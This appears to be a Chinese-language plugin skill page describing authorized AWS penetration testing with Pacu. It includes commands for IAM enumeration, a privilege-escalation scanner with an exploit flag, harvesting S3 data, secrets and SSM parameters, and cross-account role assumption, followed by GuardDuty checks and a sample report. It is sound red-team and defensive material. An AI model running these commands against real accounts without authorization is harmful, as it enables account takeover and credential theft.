Executes authorized AWS penetration testing with Pacu: enumerates IAM configs, scans privilege escalations, tests data access in S3/EC2/Lambda, and simulates attacks to validate security controls.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 对 AWS 环境进行已授权的渗透测试时
Performs authorized AWS penetration testing with Pacu to enumerate IAM configurations, discover privilege escalations, harvest credentials, and validate security controls.
Conducts authorized AWS pentests using Pacu to enumerate IAM configs, discover privilege escalations, test credential harvesting, and validate security controls.
Provides AWS penetration testing techniques: IAM enumeration, privilege escalation, SSRF metadata access, S3 bucket/Lambda exploitation, persistence for red teams.
Share bugs, ideas, or general feedback.
不适用于:未授权的任何 AWS 账户测试、测试 AWS 基础设施本身(属于共同责任范畴)、未经 AWS 批准的 DDoS 或大规模攻击,或在没有明确授权和应急程序的情况下测试生产账户。
pip install pacu)使用测试凭据设置 Pacu 会话,并定义测试范围。
# 安装 Pacu
pip install pacu
# 启动 Pacu
pacu
# 为本次测试创建新会话
Pacu > set_keys --key-alias pentest-target
# 输入 Access Key ID: AKIA...
# 输入 Secret Access Key: ...
# 验证身份
Pacu > whoami
# 查看可用模块
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
运行 IAM 枚举模块,映射用户、角色、策略和组成员关系。
# 全面 IAM 枚举
Pacu > run iam__enum_users_roles_policies_groups
# 枚举当前主体的详细权限
Pacu > run iam__enum_permissions
# 枚举账户授权详情(需要 iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report
# 枚举跨账户访问的角色信任策略
Pacu > run iam__enum_roles
# 检查当前会话数据
Pacu > data iam
使用 Pacu 的权限提升扫描器识别所有可利用的提升向量。
# 运行权限提升扫描器
Pacu > run iam__privesc_scan
# 扫描器测试 21+ 种提升方法:
# 方法 1: iam:CreatePolicyVersion
# 方法 2: iam:SetDefaultPolicyVersion
# 方法 3: iam:PassRole + ec2:RunInstances
# 方法 4: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# 方法 5: iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# 方法 6: iam:PassRole + glue:CreateDevEndpoint
# 方法 7: iam:PassRole + cloudformation:CreateStack
# 方法 8: iam:PassRole + datapipeline:CreatePipeline
# 方法 9: iam:CreateAccessKey
# 方法 10: iam:CreateLoginProfile
# 方法 11: iam:UpdateLoginProfile
# 方法 12: iam:AttachUserPolicy
# 方法 13: iam:AttachGroupPolicy
# 方法 14: iam:AttachRolePolicy
# 方法 15: iam:PutUserPolicy
# 方法 16: iam:PutGroupPolicy
# 方法 17: iam:PutRolePolicy
# 方法 18: iam:AddUserToGroup
# 方法 19: iam:UpdateAssumeRolePolicy
# 方法 20: sts:AssumeRole
# 方法 21: lambda:UpdateFunctionCode
# 如果发现提升路径,尝试利用
Pacu > run iam__privesc_scan --escalate
发现可访问的数据存储,包括 S3、DynamoDB、RDS 和 Secrets Manager。
# 枚举 S3 存储桶
Pacu > run s3__bucket_finder
# 下载 S3 存储桶数据进行分析
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
# 枚举 EC2 实例并提取用户数据
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
# 枚举 Lambda 函数,检查环境变量中的密钥
Pacu > run lambda__enum
# 枚举 Secrets Manager
Pacu > run secretsmanager__enum
# 枚举 SSM 参数(通常包含密钥)
Pacu > run ssm__download_parameters
# 检查暴露的 EBS 快照
Pacu > run ebs__enum_snapshots_unauth
评估跨账户访问、服务利用和持久化机制。
# 测试跨账户角色担任
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
# 枚举 Lambda 以寻找代码执行机会
Pacu > run lambda__enum
# 如果存在 lambda:UpdateFunctionCode 权限,可能注入代码
# 测试 EC2 instance connect 进行横向移动
Pacu > run ec2__enum
# 检查具有更广泛权限实例配置文件的实例
# 检查 CodeBuild 项目(潜在的凭据访问)
Pacu > run codebuild__enum
# 枚举 ECS/Fargate 进行基于容器的横向移动
Pacu > run ecs__enum
# 导出所有发现的数据
Pacu > data all
审查安全控制是否检测到测试活动,并汇总发现。
# 检查测试期间生成的 GuardDuty 发现
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
}
}' --output json
# 检查 Security Hub 发现
aws securityhub get-findings \
--filters '{
"CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
}'
# 导出 Pacu 会话数据用于报告
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json
# 清理评估期间创建的测试产物
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null
| 术语 | 定义 |
|---|---|
| Pacu | 由 Rhino Security Labs 维护的开源 AWS 利用框架,为已授权渗透测试提供模块化攻击能力 |
| 权限提升扫描(Privilege Escalation Scan) | 对 IAM 策略进行自动化分析,识别将有限访问提升至管理控制的已知方法 |
| iam:PassRole | 关键 IAM 操作,允许主体为 AWS 服务分配角色,通过 Lambda、EC2 或 Glue 实现间接权限提升 |
| 跨账户角色担任(Cross-Account Role Assumption) | 通过信任策略配置使用 sts:AssumeRole 获取另一 AWS 账户的临时凭据 |
| 交战规则(Rules of Engagement) | 定义渗透测试范围、方法、时间和边界的书面协议 |
| 后渗透(Post-Exploitation) | 在获得初始访问后执行的活动,包括数据访问、横向移动和建立持久化 |
场景背景:红队演练模拟攻击者从泄露的代码仓库获取开发者 AWS 访问密钥的场景。目标是确定从此起点可实现的最大影响。
方法:
whoami 确认身份iam__enum_permissions 映射开发者的有效权限iam__privesc_scan 识别从开发者到管理员的提升路径iam:PassRole + lambda:CreateFunction,创建带管理员角色的 Lambda常见陷阱:Pacu 模块可能产生大量噪音,在短时间内生成许多 API 调用。GuardDuty 可能从测试者 IP 触发 Recon:IAMUser/MaliciousIPCaller 发现。与 SOC 团队协调,将测试 IP 加入白名单,或建立清晰的沟通渠道以区分测试和真实攻击。测试后务必清理持久化产物。
AWS 渗透测试报告(Pacu)
=====================================
目标账户: 123456789012
测试周期: 2026-02-20 至 2026-02-23
起始凭据: 开发者角色(S3 只读、Lambda 调用)
授权: ROE 文件 #PT-2026-015
攻击路径摘要:
初始访问: S3 只读、Lambda 调用
最终获得访问: AdministratorAccess(完全账户入侵)
获得管理员权限时间: 47 分钟
GuardDuty 检测: 是(12 分钟后)
Security Hub 检测: 是(18 分钟后)
SOC 响应时间: 45 分钟(错过了提升窗口)
已执行的 Pacu 模块:
iam__enum_users_roles_policies_groups: 成功
iam__enum_permissions: 成功
iam__privesc_scan: 发现 3 条提升路径
s3__download_bucket: 访问了 4 个存储桶
lambda__enum: 枚举了 12 个函数
secretsmanager__enum: 获取了 8 个密钥
已利用的提升路径:
[1] iam:PassRole + lambda:CreateFunction -> AdminRole(严重)
[2] sts:AssumeRole -> CrossAccountProdRole(高)
[3] dev-policy 上的 iam:CreatePolicyVersion(严重)
访问的数据:
下载的 S3 对象: 1,247 个文件(2.3 GB)
Secrets Manager 值: 8 个密钥,包括数据库凭据
SSM 参数: 23 个参数,包括 API 密钥
检测结果:
GuardDuty 发现: 7 个
Security Hub 发现: 12 个
触发的自定义 CloudWatch 告警: 3 个
SOC 确认: 是(45 分钟响应)
建议:
1. 对所有开发者角色应用权限边界
2. 从非管理员主体移除 iam:PassRole
3. 将 SOC 对 IAM 提升告警的响应时间缩短到 15 分钟以内
4. 在非管理员 OU 中实施 SCP,阻止 iam:CreatePolicyVersion